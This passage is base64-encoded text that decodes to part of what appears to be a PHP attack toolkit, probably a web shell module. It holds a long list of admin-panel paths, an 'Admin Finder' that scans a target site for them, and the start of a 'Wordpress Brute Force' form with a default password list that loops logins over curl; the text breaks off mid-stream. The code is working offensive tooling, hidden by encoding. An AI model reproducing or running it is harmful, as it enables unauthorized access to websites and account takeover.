h0bWwKYWRtaW4vaW5kZXgucGhwCmFkbWluL2luZGV4Lmh0bWwKYWRtaW4vbG9naW4ucGhwCmFkbWluL2xvZ2luLmh0bWwKYWRtaW4vaG9tZS5waHAKYWRtaW4vY29udHJvbHBhbmVsLmh0bWwKYWRtaW4vY29udHJvbHBhbmVsLnBocAphZG1pbi5waHAKYWRtaW4uaHRtbAphZG1pbi9jcC5waHAKYWRtaW4vY3AuaHRtbApjcC5waHAKY3AuaHRtbAphZG1pbmlzdHJhdG9yLwphZG1pbmlzdHJhdG9yL2luZGV4Lmh0bWwKYWRtaW5pc3RyYXRvci9pbmRleC5waHAKYWRtaW5pc3RyYXRvci9sb2dpbi5odG1sCmFkbWluaXN0cmF0b3IvbG9naW4ucGhwCmFkbWluaXN0cmF0b3IvYWNjb3VudC5odG1sCmFkbWluaXN0cmF0b3IvYWNjb3VudC5waHAKYWRtaW5pc3RyYXRvci5waHAKYWRtaW5pc3RyYXRvci5odG1sCmxvZ2luLnBocApsb2dpbi5odG1sCm1vZGVsc2VhcmNoL2xvZ2luLnBocAptb2RlcmF0b3IucGhwCm1vZGVyYXRvci5odG1sCm1vZGVyYXRvci9sb2dpbi5waHAKbW9kZXJhdG9yL2xvZ2luLmh0bWwKbW9kZXJhdG9yL2FkbWluLnBocAptb2RlcmF0b3IvYWRtaW4uaHRtbAptb2RlcmF0b3IvCmFjY291bnQucGhwCmFjY291bnQuaHRtbApjb250cm9scGFuZWwvCmNvbnRyb2xwYW5lbC5waHAKY29udHJvbHBhbmVsLmh0bWwKYWRtaW5jb250cm9sLnBocAphZG1pbmNvbnRyb2wuaHRtbAphZG1pbnBhbmVsLnBocAphZG1pbnBhbmVsLmh0bWwKYWRtaW4xLmFzcAphZG1pbjIuYXNwCnlvbmV0aW0uYXNwCnlvbmV0aWNpLmFzcAphZG1pbi9hY2NvdW50LmFzcAphZG1pbi9pbmRleC5hc3AKYWRtaW4vbG9naW4uYXNwCmFkbWluL2hvbWUuYXNwCmFkbWluL2NvbnRyb2xwYW5lbC5hc3AKYWRtaW4uYXNwCmFkbWluL2NwLmFzcApjcC5hc3AKYWRtaW5pc3RyYXRvci9pbmRleC5hc3AKYWRtaW5pc3RyYXRvci9sb2dpbi5hc3AKYWRtaW5pc3RyYXRvci9hY2NvdW50LmFzcAphZG1pbmlzdHJhdG9yLmFzcApsb2dpbi5hc3AKbW9kZWxzZWFyY2gvbG9naW4uYXNwCm1vZGVyYXRvci5hc3AKbW9kZXJhdG9yL2xvZ2luLmFzcAptb2RlcmF0b3IvYWRtaW4uYXNwCmFjY291bnQuYXNwCmNvbnRyb2xwYW5lbC5hc3AKYWRtaW5jb250cm9sLmFzcAphZG1pbnBhbmVsLmFzcApmaWxlYWRtaW4vCmZpbGVhZG1pbi5waHAKZmlsZWFkbWluLmFzcApmaWxlYWRtaW4uaHRtbAphZG1pbmlzdHJhdGlvbi8KYWRtaW5pc3RyYXRpb24ucGhwCmFkbWluaXN0cmF0aW9uLmh0bWwKc3lzYWRtaW4ucGhwCnN5c2FkbWluLmh0bWwKcGhwbXlhZG1pbi8KbXlhZG1pbi8Kc3lzYWRtaW4uYXNwCnN5c2FkbWluLwp1ci1hZG1pbi5hc3AKdXItYWRtaW4ucGhwCnVyLWFkbWluLmh0bWwKdXItYWRtaW4vClNlcnZlci5waHAKU2VydmVyLmh0bWwKU2VydmVyLmFzcApTZXJ2ZXIvCndwLWFkbWluLwphZG1pbmlzdHI4LnBocAphZG1pbmlzdHI4Lmh0bWwKYWRtaW5pc3RyOC8KYWRtaW5pc3RyOC5hc3AKd2ViYWRtaW4vCndlYmFkbWluLnBocAp3ZWJhZG1pbi5hc3AKd2ViYWRtaW4uaHRtbAphZG1pbmlzdHJhdGllLwphZG1pbnMvCmFkbWlucy5waHAKYWRtaW5zLmFzcAphZG1pbnMuaHRtbAphZG1pbmlzdHJpdmlhLwpEYXRhYmFzZV9BZG1pbmlzdHJhdGlvbi8KV2ViQWRtaW4vCnVzZXJhZG1pbi8Kc3lzYWRtaW5zLwphZG1pbjEvCnN5c3RlbS1hZG1pbmlzdHJhdGlvbi8KYWRtaW5pc3RyYXRvcnMvCnBnYWRtaW4vCmRpcmVjdGFkbWluLwpzdGFyYWRtaW4vClNlcnZlckFkbWluaXN0cmF0b3IvClN5c0FkbWluLwphZG1pbmlzdGVyLwpMaXZlVXNlcl9BZG1pbi8Kc3lzLWFkbWluLwp0eXBvMy8KcGFuZWwvCmNwYW5lbC8KY1BhbmVsLwpjcGFuZWxfZmlsZS8KcGxhdHpfbG9naW4vCnJjTG9naW4vCmJsb2dpbmRleC8KZm9ybXNsb2dpbi8KYXV0b2xvZ2luLwpzdXBwb3J0X2xvZ2luLwptZXRhX2xvZ2luLwptYW51YWxsb2dpbi8Kc2ltcGxlTG9naW4vCmxvZ2luZmxhdC8KdXRpbGl0eV9sb2dpbi8Kc2hvd2xvZ2luLwptZW1sb2dpbi8KbWVtYmVycy8KbG9naW4tcmVkaXJlY3QvCnN1Yi1sb2dpbi8Kd3AtbG9naW4vCmxvZ2luMS8KZGlyLWxvZ2luLwpsb2dpbl9kYi8KeGxvZ2luLwpzbWJsb2dpbi8KY3VzdG9tZXJfbG9naW4vClVzZXJMb2dpbi8KbG9naW4tdXMvCmFjY3RfbG9naW4vCmFkbWluX2FyZWEvCmJpZ2FkbWluLwpwcm9qZWN0LWFkbWlucy8KcGhwcGdhZG1pbi8KcHVyZWFkbWluLwpzcWwtYWRtaW4vCnJhZG1pbmQvCm9wZW52cG5hZG1pbi8Kd2l6bXlzcWxhZG1pbi8KdmFkbWluZC8KZXpzcWxpdGVhZG1pbi8KaHB3ZWJqZXRhZG1pbi8KbmV3c2FkbWluLwphZG1pbnByby8KTG90dXNfRG9taW5vX0FkbWluLwpiYmFkbWluLwp2bWFpbGFkbWluLwpJbmR5X2FkbWluLwpjY3AxNGFkbWluLwppcmMtbWFjYWRtaW4vCmJhbm5lcmFkbWluLwpzc2hhZG1pbi8KcGhwbGRhcGFkbWluLwptYWNhZG1pbi8KYWRtaW5pc3RyYXRvcmFjY291bnRzLwphZG1pbjRfYWNjb3VudC8KYWRtaW40X2NvbG9uLwpyYWRtaW5kLTEvClN1cGVyLUFkbWluLwpBZG1pblRvb2xzLwpjbXNhZG1pbi8KU3lzQWRtaW4yLwpnbG9iZXNfYWRtaW4vCmNhZG1pbnMvCnBocFNRTGl0ZUFkbWluLwpuYXZTaXRlQWRtaW4vCnNlcnZlcl9hZG1pbl9zbWFsbC8KbG9nb19zeXNhZG1pbi8Kc2VydmVyLwpkYXRhYmFzZV9hZG1pbmlzdHJhdGlvbi8KcG93ZXJfdXNlci8Kc3lzdGVtX2FkbWluaXN0cmF0aW9uLwpzc192bXNfYWRtaW5fc20vCmFkbWluYXJlYS8KYmItYWRtaW4vCmFkbWluTG9naW4vCnBhbmVsLWFkbWluaXN0cmFjaW9uLwppbnN0YWRtaW4vCm1lbWJlcmFkbWluLwphZG1pbmlzdHJhdG9ybG9naW4vCmFkbWluL2FkbWluLnBocAphZG1pbl9hcmVhL2FkbWluLnBocAphZG1pbl9hcmVhL2xvZ2luLnBocApzaXRlYWRtaW4vbG9naW4ucGhwCnNpdGVhZG1pbi9pbmRleC5waHAKc2l0ZWFkbWluL2xvZ2luLmh0bWwKYWRtaW4vYWRtaW4uaHRtbAphZG1pbl9hcmVhL2luZGV4LnBocApiYi1hZG1pbi9pbmRleC5waHAKYmItYWRtaW4vbG9naW4ucGhwCmJiLWFkbWluL2FkbWluLnBocAphZG1pbl9hcmVhL2xvZ2luLmh0bWwKYWRtaW5fYXJlYS9pbmRleC5odG1sCmFkbWluY3AvaW5kZXguYXNwCmFkbWluY3AvbG9naW4uYXNwCmFkbWluY3AvaW5kZXguaHRtbAp3ZWJhZG1pbi9pbmRleC5odG1sCndlYmFkbWluL2FkbWluLmh0bWwKd2ViYWRtaW4vbG9naW4uaHRtbAphZG1pbi9hZG1pbl9sb2dpbi5odG1sCmFkbWluX2xvZ2luLmh0bWwKcGFuZWwtYWRtaW5pc3RyYWNpb24vbG9naW4uaHRtbApuc3cvYWRtaW4vbG9naW4ucGhwCndlYmFkbWluL2xvZ2luLnBocAphZG1pbi9hZG1pbl9sb2dpbi5waHAKYWRtaW5fbG9naW4ucGhwCmFkbWluX2FyZWEvYWRtaW4uaHRtbApwYWdlcy9hZG1pbi9hZG1pbi1sb2dpbi5waHAKYWRtaW4vYWRtaW4tbG9naW4ucGhwCmFkbWluLWxvZ2luLnBocApiYi1hZG1pbi9pbmRleC5odG1sCmJiLWFkbWluL2xvZ2luLmh0bWwKYmItYWRtaW4vYWRtaW4uaHRtbAphZG1pbi9ob21lLmh0bWwKcGFnZXMvYWRtaW4vYWRtaW4tbG9naW4uaHRtbAphZG1pbi9hZG1pbi1sb2dpbi5odG1sCmFkbWluLWxvZ2luLmh0bWwKYWRtaW4vYWRtaW5Mb2dpbi5odG1sCmFkbWluTG9naW4uaHRtbApob21lLmh0bWwKcmNqYWthci9hZG1pbi9sb2dpbi5waHAKYWRtaW5hcmVhL2luZGV4Lmh0bWwKYWRtaW5hcmVhL2FkbWluLmh0bWwKd2ViYWRtaW4vaW5kZXgucGhwCndlYmFkbWluL2FkbWluLnBocAp1c2VyLmh0bWwKbW9kZWxzZWFyY2gvbG9naW4uaHRtbAphZG1pbmFyZWEvbG9naW4uaHRtbApwYW5lbC1hZG1pbmlzdHJhY2lvbi9pbmRleC5odG1sCnBhbmVsLWFkbWluaXN0cmFjaW9uL2FkbWluLmh0bWwKbW9kZWxzZWFyY2gvaW5kZXguaHRtbAptb2RlbHNlYXJjaC9hZG1pbi5odG1sCmFkbWluY29udHJvbC9sb2dpbi5odG1sCmFkbS9pbmRleC5odG1sCmFkbS5odG1sCnVzZXIucGhwCnBhbmVsLWFkbWluaXN0cmFjaW9uL2xvZ2luLnBocAp3cC1sb2dpbi5waHAKYWRtaW5Mb2dpbi5waHAKYWRtaW4vYWRtaW5Mb2dpbi5waHAKaG9tZS5waHAKYWRtaW5hcmVhL2luZGV4LnBocAphZG1pbmFyZWEvYWRtaW4ucGhwCmFkbWluYXJlYS9sb2dpbi5waHAKcGFuZWwtYWRtaW5pc3RyYWNpb24vaW5kZXgucGhwCnBhbmVsLWFkbWluaXN0cmFjaW9uL2FkbWluLnBocAptb2RlbHNlYXJjaC9pbmRleC5waHAKbW9kZWxzZWFyY2gvYWRtaW4ucGhwCmFkbWluY29udHJvbC9sb2dpbi5waHAKYWRtL2FkbWxvZ2ludXNlci5waHAKYWRtbG9naW51c2VyLnBocAphZG1pbjIvbG9naW4ucGhwCmFkbWluMi9pbmRleC5waHAKYWRtL2luZGV4LnBocAphZG0ucGhwCmFmZmlsaWF0ZS5waHAKYWRtX2F1dGgucGhwCm1lbWJlcmFkbWluLnBocAphZG1pbmlzdHJhdG9ybG9naW4ucGhwCmFkbWluL2FkbWluLmFzcAphZG1pbl9hcmVhL2FkbWluLmFzcAphZG1pbl9hcmVhL2xvZ2luLmFzcAphZG1pbl9hcmVhL2luZGV4LmFzcApiYi1hZG1pbi9pbmRleC5hc3AKYmItYWRtaW4vbG9naW4uYXNwCmJiLWFkbWluL2FkbWluLmFzcApwYWdlcy9hZG1pbi9hZG1pbi1sb2dpbi5hc3AKYWRtaW4vYWRtaW4tbG9naW4uYXNwCmFkbWluLWxvZ2luLmFzcAp1c2VyLmFzcAp3ZWJhZG1pbi9pbmRleC5hc3AKd2ViYWRtaW4vYWRtaW4uYXNwCndlYmFkbWluL2xvZ2luLmFzcAphZG1pbi9hZG1pbl9sb2dpbi5hc3AKYWRtaW5fbG9naW4uYXNwCnBhbmVsLWFkbWluaXN0cmFjaW9uL2xvZ2luLmFzcAphZG1pbkxvZ2luLmFzcAphZG1pbi9hZG1pbkxvZ2luLmFzcApob21lLmFzcAphZG1pbmFyZWEvaW5kZXguYXNwCmFkbWluYXJlYS9hZG1pbi5hc3AKYWRtaW5hcmVhL2xvZ2luLmFzcApwYW5lbC1hZG1pbmlzdHJhY2lvbi9pbmRleC5hc3AKcGFuZWwtYWRtaW5pc3RyYWNpb24vYWRtaW4uYXNwCm1vZGVsc2VhcmNoL2luZGV4LmFzcAptb2RlbHNlYXJjaC9hZG1pbi5hc3AKYWRtaW5jb250cm9sL2xvZ2luLmFzcAphZG0vYWRtbG9naW51c2VyLmFzcAphZG1sb2dpbnVzZXIuYXNwCmFkbWluMi9sb2dpbi5hc3AKYWRtaW4yL2luZGV4LmFzcAphZG0vaW5kZXguYXNwCmFkbS5hc3AKYWZmaWxpYXRlLmFzcAphZG1fYXV0aC5hc3AKbWVtYmVyYWRtaW4uYXNwCmFkbWluaXN0cmF0b3Jsb2dpbi5hc3AKc2l0ZWFkbWluL2xvZ2luLmFzcApzaXRlYWRtaW4vaW5kZXguYXNwCkFETUlOLwpwYW5lbGRlY29udHJvbC8KbG9naW4vCmNtcy8KYWRtb24vCkFETU9OLwphZG1pbmlzdHJhZG9yLwpBRE1JTi9sb2dpbi5waHAKcGFuZWxjLwpBRE1JTi9sb2dpbi5odG1sIjsKZnVuY3Rpb24gdGVtcGxhdGUoKSB7CmVjaG8gJwoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIGluc2VydGNvZGUoJHRleHQsICRwbGFjZSwgJHJlcGxhY2UpCnsKICAgIHZhciAkdGhpcyA9ICR0ZXh0OwogICAgdmFyIGxvZ2JveCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCRwbGFjZSk7CiAgICBpZigkcmVwbGFjZSA9PSAwKQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCRwbGFjZSkuaW5uZXJIVE1MID0gbG9nYm94LmlubmVySFRNTCskdGhpczsKICAgIGVsc2UKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgkcGxhY2UpLmlubmVySFRNTCA9ICR0aGlzOwovL2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoZWxwYm94IikuaW5uZXJIVE1MID0gJHRoaXM7Cn0KLS0+Cjwvc2NyaXB0Pgo8YnI+Cjxicj4KPGgxIGNsYXNzPSJ0ZWNobmlxdWUtdHdvIj4KICAgICAgIAoKCjwvaDE+Cgo8ZGl2IGNsYXNzPSJ3cmFwcGVyIj4KPGRpdiBjbGFzcz0icmVkIj4KPGRpdiBjbGFzcz0idHViZSI+CjxjZW50ZXI+PHRhYmxlIGNsYXNzPSJ0YWJuZXQiPjx0aCBjb2xzcGFuPSIyIj5BZG1pbiBGaW5kZXI8L3RoPjx0cj48dGQ+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG5hbWU9InhwbG9pdF9mb3JtIj4KCjx0cj4KPHRyPgoJPGI+PHRkPlVSTDwvdGQ+Cgk8dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InhwbG9pdF91cmwiIHZhbHVlPSInLiRfUE9TVFsneHBsb2l0X3VybCddLiciIHN0eWxlPSJ3aWR0aDogMzUwcHg7IiAvPgoJPC90ZD4KPC90cj48dHI+Cgk8dGQ+NDA0IHN0cmluZzwvdGQ+Cgk8dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InhwbG9pdF80MDRzdHJpbmciIHZhbHVlPSInLiRfUE9TVFsneHBsb2l0XzQwNHN0cmluZyddLiciIHN0eWxlPSJ3aWR0aDogMzUwcHg7IiAvPgoJPC90ZD48L2I+CjwvdHI+PGJyPjx0ZD4KPHNwYW4gc3R5bGU9ImZsb2F0OiBjZW50ZXI7Ij48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiBuYW1lPSJ4cGxvaXRfc3VibWl0IiB2YWx1ZT0iIFN0YXJ0IFNjYW4iIGFsaWduPSJjZW50ZXIiIC8+Cjwvc3Bhbj48L3RkPjwvdHI+CjwvZm9ybT48L3RkPjwvdHI+CjxiciAvPjwvdGFibGU+CjwvZGl2PiA8IS0tIC90dWJlIC0tPgo8L2Rpdj4gPCEtLSAvcmVkIC0tPgo8YnIgLz4KPGRpdiBjbGFzcz0iZ3JlZW4iPgo8ZGl2IGNsYXNzPSJ0dWJlIiBpZD0icmlnaHRjb2wiPgpWZXJpZmljYXQ6IDxzcGFuIGlkPSJ2ZXJpZmllZCI+MDwvc3Bhbj4gLyA8c3BhbiBpZD0idG90YWwiPjA8L3NwYW4+PGJyIC8+CjxiPkZvdW5kIG9uZXM6PGJyIC8+PC9iPgo8L2Rpdj4gPCEtLSAvdHViZSAtLT4KPC9kaXY+PC9jZW50ZXI+PCEtLSAvZ3JlZW4gLS0+CjxiciBjbGVhcj0iYWxsIiAvPjxiciAvPgo8ZGl2IGNsYXNzPSJibHVlIj4KPGRpdiBjbGFzcz0idHViZSIgaWQ9ImxvZ2JveCI+CjxiciAvPgo8YnIgLz4KQWRtaW4gcGFnZSBGaW5kZXIgOjxiciAvPjxiciAvPgo8L2Rpdj4gPCEtLSAvdHViZSAtLT4KPC9kaXY+IDwhLS0gL2JsdWUgLS0+CjwvZGl2PiA8IS0tIC93cmFwcGVyIC0tPgo8YnIgY2xlYXI9ImFsbCI+PGJyPic7Cn0KZnVuY3Rpb24gc2hvdygkbXNnLCAkYnI9MSwgJHN0b3A9MCwgJHBsYWNlPSdsb2dib3gnLCAkcmVwbGFjZT0wKSB7CiAgICBpZigkYnIgPT0gMSkgJG1zZyAuPSAiPGJyIC8+IjsKICAgIGVjaG8gIjxzY3JpcHQgdHlwZT1cInRleHQvamF2YXNjcmlwdFwiPmluc2VydGNvZGUoJyIuJG1zZy4iJywgJyIuJHBsYWNlLiInLCAnIi4kcmVwbGFjZS4iJyk7PC9zY3JpcHQ+IjsKICAgIGlmKCRzdG9wID09IDEpIGV4aXQ7CiAgICBAZmx1c2goKTtAb2JfZmx1c2goKTsKfQpmdW5jdGlvbiBjaGVjaygkeCwgJGZyb250PTApIHsKICAgIGdsb2JhbCAkX1BPU1QsJHNpdGUsJGZhbHNlOwogICAgaWYoJGZyb250ID09IDApICR0ID0gJHNpdGUuJHg7CiAgICBlbHNlICR0ID0gJ2h0dHA6Ly8nLiR4LicuJy4kc2l0ZS4nLyc7CiAgICAkaGVhZGVycyA9IGdldF9oZWFkZXJzKCR0KTsKICAgIGlmICghZXJlZ2koJzIwMCcsICRoZWFkZXJzWzBdKSkgcmV0dXJuIDA7CiAgICAkZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkdCk7CiAgICBpZigkX1BPU1RbJ3hwbG9pdF80MDRzdHJpbmcnXSA9PSAiIikgaWYoJGRhdGEgPT0gJGZhbHNlKSByZXR1cm4gMDsKICAgIGlmKCRfUE9TVFsneHBsb2l0XzQwNHN0cmluZyddICE9ICIiKSBpZihzdHJwb3MoJGRhdGEsICRfUE9TVFsneHBsb2l0XzQwNHN0cmluZyddKSkgcmV0dXJuIDA7CiAgICByZXR1cm4gMTsKfQogICAKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KdGVtcGxhdGUoKTsKaWYoIWlzc2V0KCRfUE9TVFsneHBsb2l0X3VybCddKSkgZGllOwppZigkX1BPU1RbJ3hwbG9pdF91cmwnXSA9PSAnJykgZGllOwokc2l0ZSA9ICRfUE9TVFsneHBsb2l0X3VybCddOwppZiAoJHNpdGVbc3RybGVuKCRzaXRlKS0xXSAhPSAiLyIpICRzaXRlIC49ICIvIjsKaWYoJF9QT1NUWyd4cGxvaXRfNDA0c3RyaW5nJ10gPT0gIiIpICRmYWxzZSA9IEBmaWxlX2dldF9jb250ZW50cygkc2l0ZS4iZDY1ODk3ZjUzODBhMjFhNDJkYjk0YjM5MjdiODIzZDU2ZWUxMDk5YS10aGlzX2Nhbi10X2V4aXN0Lmh0bWwiKTsKJGxpc3RbJ2VuZCddID0gc3RyX3JlcGxhY2UoIlxyIiwgIiIsICRsaXN0WydlbmQnXSk7CiRsaXN0Wydmcm9udCddID0gc3RyX3JlcGxhY2UoIlxyIiwgIiIsICRsaXN0Wydmcm9udCddKTsKJHBhdGhlcyA9IGV4cGxvZGUoIlxuIiwgJGxpc3RbJ2VuZCddKTsKJGZyb250cGF0aGVzID0gZXhwbG9kZSgiXG4iLCAkbGlzdFsnZnJvbnQnXSk7CnNob3coY291bnQoJHBhdGhlcykrY291bnQoJGZyb250cGF0aGVzKSwgMSwgMCwgJ3RvdGFsJywgMSk7CiR2ZXJpZmljYXRlID0gMDsKZm9yZWFjaCgkcGF0aGVzIGFzICRwYXRoKSB7CiAgICBzaG93KCdDaGVja2luZyAnLiRzaXRlLiRwYXRoLicgOiAnLCAwLCAwLCAnbG9nYm94JywgMCk7CiAgICAkdmVyaWZpY2F0ZSsrOyBzaG93KCR2ZXJpZmljYXRlLCAwLCAwLCAndmVyaWZpZWQnLCAxKTsKICAgIGlmKGNoZWNrKCRwYXRoKSA9PSAwKSBzaG93KCdub3QgZm91bmQnLCAxLCAwLCAnbG9nYm94JywgMCk7CiAgICBlbHNlewogICAgICAgIHNob3coJzxzcGFuIHN0eWxlPSJjb2xvcjogI0ZGMDAwMDsiPjxzdHJvbmc+Zm91bmQ8L3N0cm9uZz48L3NwYW4+JywgMSwgMCwgJ2xvZ2JveCcsIDApOwogICAgICAgIHNob3coJzxhIGhyZWY9IicuJHNpdGUuJHBhdGguJyI+Jy4kc2l0ZS4kcGF0aC4nPC9hPicsIDEsIDAsICdyaWdodGNvbCcsIDApOwogICAgfQp9CnByZWdfbWF0Y2goIi9cL1wvKC4qPylcLy9pIiwgJHNpdGUsICR4eCk7ICRzaXRlID0gJHh4WzFdOwppZihzdWJzdHIoJHNpdGUsIDAsIDMpID09ICJ3d3ciKSAkc2l0ZSA9IHN1YnN0cigkc2l0ZSwgNCk7CmZvcmVhY2goJGZyb250cGF0aGVzIGFzICRmcm9udHBhdGgpIHsKICAgIHNob3coJ0NoZWNraW5nIGh0dHA6Ly8nLiRmcm9udHBhdGguJy4nLiRzaXRlLicvIDogJywgMCwgMCwgJ2xvZ2JveCcsIDApOwogICAgJHZlcmlmaWNhdGUrKzsgc2hvdygkdmVyaWZpY2F0ZSwgMCwgMCwgJ3ZlcmlmaWVkJywgMSk7CiAgICBpZihjaGVjaygkZnJvbnRwYXRoLCAxKSA9PSAwKSBzaG93KCdub3QgZm91bmQnLCAxLCAwLCAnbG9nYm94JywgMCk7CiAgICBlbHNlewogICAgICAgIHNob3coJzxzcGFuIHN0eWxlPSJjb2xvcjogI0ZGMDAwMDsiPjxzdHJvbmc+Zm91bmQ8L3N0cm9uZz48L3NwYW4+JywgMSwgMCwgJ2xvZ2JveCcsIDApOwogICAgICAgIHNob3coJzxhIGhyZWY9Imh0dHA6Ly8nLiRmcm9udHBhdGguJy4nLiRzaXRlLicvIj4nLiRmcm9udHBhdGguJy4nLiRzaXRlLic8L2E+JywgMSwgMCwgJ3JpZ2h0Y29sJywgMCk7CiAgICB9CiAgIAp9Cn0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCgplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3dwYnJ1dGUnKSkKewkKPz4KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PXdwYnJ1dGUiIG1ldGhvZD0icG9zdCI+CjxjZW50ZXI+Cjxicj48QnI+PGI+PGZvbnQgc2l6ZT0nMicgPi0tPT1bIFdvcmRwcmVzcyBCcnV0ZSBGb3JjZSBdPT0tLTwvZm9udD48YnI+CjxjZW50ZXI+PHA+VGhhbmtzIFRvIDxhIGhyZWY9Imh0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS9hbnRvbjExNSIgdGFyZ2V0PSJfYmxhbmsiPkNhaF9iYWd1czwvYT48L3A+PC9iPjwvY2VudGVyPgo8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPgogIDx0YWJsZSB3aWR0aD0nNjI0JyBib3JkZXI9JzAnIGNsYXNzPSd0YWJuZXQnIGlkPSdCb3gnPgogIDx0cj48dGggY29sc3Bhbj0iNSI+V29yZHByZXNzIEJydXRlIEZvcmNlPC90aD48L3RyPgogICAgCgogICAgPHRyPgogICAgICA8dGQgPiZuYnNwOzwvdGQ+CiAgICAgIDx0ZCA+PHA+SG9zdHM6PC9wPjwvdGQ+CiAgICAgIDx0ZCA+PHA+IFVzZXJzOjwvcD48L3RkPgogICAgICA8dGQgPjxwPlBhc3N3b3Jkczo8L3A+PC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICA8dGQgPjx0ZXh0YXJlYSBzdHlsZT0iYmFja2dyb3VuZDpibGFjazsiIG5hbWU9Imhvc3RzIiBjb2xzPSIzMCIgcm93cz0iMTAiID48P3BocCBpZigkX1BPU1Qpe2VjaG8gJF9QT1NUWydob3N0cyddO30gPz48L3RleHRhcmVhPjwvdGQ+CiAgICAgIDx0ZCA+PHRleHRhcmVhIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrOyIgbmFtZT0idXNlcm5hbWVzIiBjb2xzPSIzMCIgcm93cz0iMTAiICA+PD9waHAgaWYoJF9QT1NUKXtlY2hvICRfUE9TVFsndXNlcm5hbWVzJ107fWVsc2Uge2VjaG8gImFkbWluIjt9ID8+PC90ZXh0YXJlYT48L3RkPgogICAgICA8dGQgPjx0ZXh0YXJlYSBzdHlsZT0iYmFja2dyb3VuZDpibGFjazsiIG5hbWU9InBhc3N3b3JkcyIgY29scz0iMzAiIHJvd3M9IjEwIiAgPjw/cGhwIGlmKCRfUE9TVCl7ZWNobyAkX1BPU1RbJ3Bhc3N3b3JkcyddO31lbHNlIHtlY2hvICJhZG1pblxuYWRtaW5pc3RyYXRvclxuMTIzMTIzXG4xMjMzMjFcbjEyMzQ1NlxuMTIzNDU2N1xuMTIzNDU2NzhcbjEyMzQ1Njc4OVxuMTIzNDU2MTIzNDU2XG5hZG1pbjIwMTBcbmFkbWluMjAxMVxucGFzc3dvcmRcblBAc3NXMHJkXG4hQCMkJV5cbiFAIyQlXiYqKFxuKComXiUkI0AhXG4xMTExMTFcbjIyMjIyMlxuYzQwOTA5XG40NDQ0NDRcbjU1NTU1NVxuNjY2NjY2XG43Nzc3Nzdcbjg4ODg4OFxuOTk5OTk5Ijt9ID8+PC90ZXh0YXJlYT48L3RkPgogICAgPC90cj4KPHRyPjx0ZCBjb2xzcGFuPSI0Ij48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBOb3ciICAvPgo8P3BocAppZigkX1BPU1QpCnsKCSRob3N0cyA9IHRyaW0oZmlsdGVyKCRfUE9TVFsnaG9zdHMnXSkpOwoJJHBhc3N3b3JkcyA9IHRyaW0oZmlsdGVyKCRfUE9TVFsncGFzc3dvcmRzJ10pKTsKCSR1c2VybmFtZXMgPSB0cmltKGZpbHRlcigkX1BPU1RbJ3VzZXJuYW1lcyddKSk7CgoJaWYoJHBhc3N3b3JkcyAmJiAkdXNlcm5hbWVzICYmICRob3N0cykKCXsKCQkkaG9zdHNfZXhwbG9kZSA9IGV4cGxvZGUoIlxuIiwgJGhvc3RzKTsKCQkkdXNlcm5hbWVzX2V4cGxvZGUgPSBleHBsb2RlKCJcbiIsICR1c2VybmFtZXMpOwogICAgCSRwYXNzd29yZHNfZXhwbG9kZSA9IGV4cGxvZGUoIlxuIiwgJHBhc3N3b3Jkcyk7CgoJCWZvcmVhY2goJGhvc3RzX2V4cGxvZGUgYXMgJGhvc3QpCgkJewoJCQkkaG9zdCA9IFJlbW92ZUxhc3RTbGFzaCgkaG9zdCk7CgkJCSRoYWNrZWQgPSAwOwoJCQkkaG9zdCA9IHN0cl9yZXBsYWNlKGFycmF5KCJodHRwOi8vIiwiaHR0cHM6Ly8iLCJ3d3cuIiksIiIsdHJpbSgkaG9zdCkpOwoJCQkkaG9zdCA9ICJodHRwOi8vIi4kaG9zdDsKCQkJJHdwQWRtaW4gPSAkaG9zdC4nL3dwLWFkbWluLyc7CgoJCQlpZighdXJsX2V4aXN0cygkaG9zdC4iL3dwLWxvZ2luLnBocCIpKQoJCQl7ZWNobyAiPHA+Ii4kaG9zdC4iID0+IDxmb250IGNvbG9yPSdyZWQnPkVycm9yIEluIExvZ2luIFBhZ2UgITwvZm9udD48L3A+IjtvYl9mbHVzaCgpO2ZsdXNoKCk7Y29udGludWU7fQoKCQkJZm9yZWFjaCgkdXNlcm5hbWVzX2V4cGxvZGUgYXMgJHVzZXJuYW1lKQoJCQl7CgkJCQlmb3JlYWNoKCRwYXNzd29yZHNfZXhwbG9kZSBhcyAkcGFzc3dvcmQpCgkJCQl7CgkJCQkJJGNoICAgPSAgICAgY3VybF9pbml0KCk7CgkJCQkJY3VybF9zZXRvcHQoJGNoLE